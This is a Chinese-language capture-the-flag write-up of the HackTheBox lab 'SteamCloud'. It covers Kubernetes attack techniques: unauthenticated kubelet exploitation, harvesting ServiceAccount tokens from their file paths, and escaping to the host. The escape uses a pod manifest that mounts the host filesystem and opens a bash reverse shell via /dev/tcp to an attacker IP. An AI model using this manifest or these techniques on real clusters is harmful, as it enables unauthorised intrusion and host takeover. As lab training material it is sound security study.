SteamCloud-HackTheBox

信息收集

端口扫描

发现了一些Kubernetes集群的端口对外开放

kube-hunter

直接上kube-hunter,这里确实是个靶场。一大堆未授权

nuclei

nuclei也发现了不少问题

Get User Flag

kubeletctl

kubelet存在未授权访问,我们直接通过kubeletctl进行利用。

查看可以RCE的Pod

nginx和kube-proxy-vbcjc是正在运行的Pod

nginx直接以root权限运行

Get Root Flag

Kubernetes ServiceAccount

当 Pod 与 API 服务器联系时,Pod 会被认证为某个特定的 ServiceAccount(例如:default)。 在每个名字空间中,至少存在一个 ServiceAccount。

每个 Kubernetes 名字空间至少包含一个 ServiceAccount:也就是该名字空间的默认服务账号, 名为 default。如果你在创建 Pod 时没有指定 ServiceAccount,Kubernetes 会自动将该名字空间中 名为 default 的 ServiceAccount 分配给该 Pod。

如果这个ServiceAccount权限过大的话,我们可以直接利用

通常可以在这几个目录可以收集到ServiceAccount的凭据信息:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

目录中会包含三个文件:

  • ca.crt:这是检查kubernetes通信的ca证书
  • namespace:表示当前命名空间
  • token:包含当前pod的服务令牌

使用kubectl访问集群

挺多操作做不了的

查看权限

ServiceAccount存在创建Pod的权限,可以直接创建一个特权Pod实现逃逸

这种就属于ServiceAccount账户权限过大导致逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
apiVersion: v1 
kind: Pod
metadata:
name: nginx003
namespace: default
spec:
containers:
- name: nginx003
image: nginx:1.14.2
command: ["/bin/bash"]
args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.14.3/8888 0>&1"]
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true

创建特权容器并反弹shell

我们把宿主机的/挂载到/mnt了,直接查看即可获取flag

总结

打起来很流畅的一个靶场,非常适合Kubernetes安全入门(这个会员没白花)


SteamCloud-HackTheBox
http://aurey7.github.io.git/2023/08/21/SteamCloud-HackTheBox/
作者
Aurey7
发布于
2023年8月21日
许可协议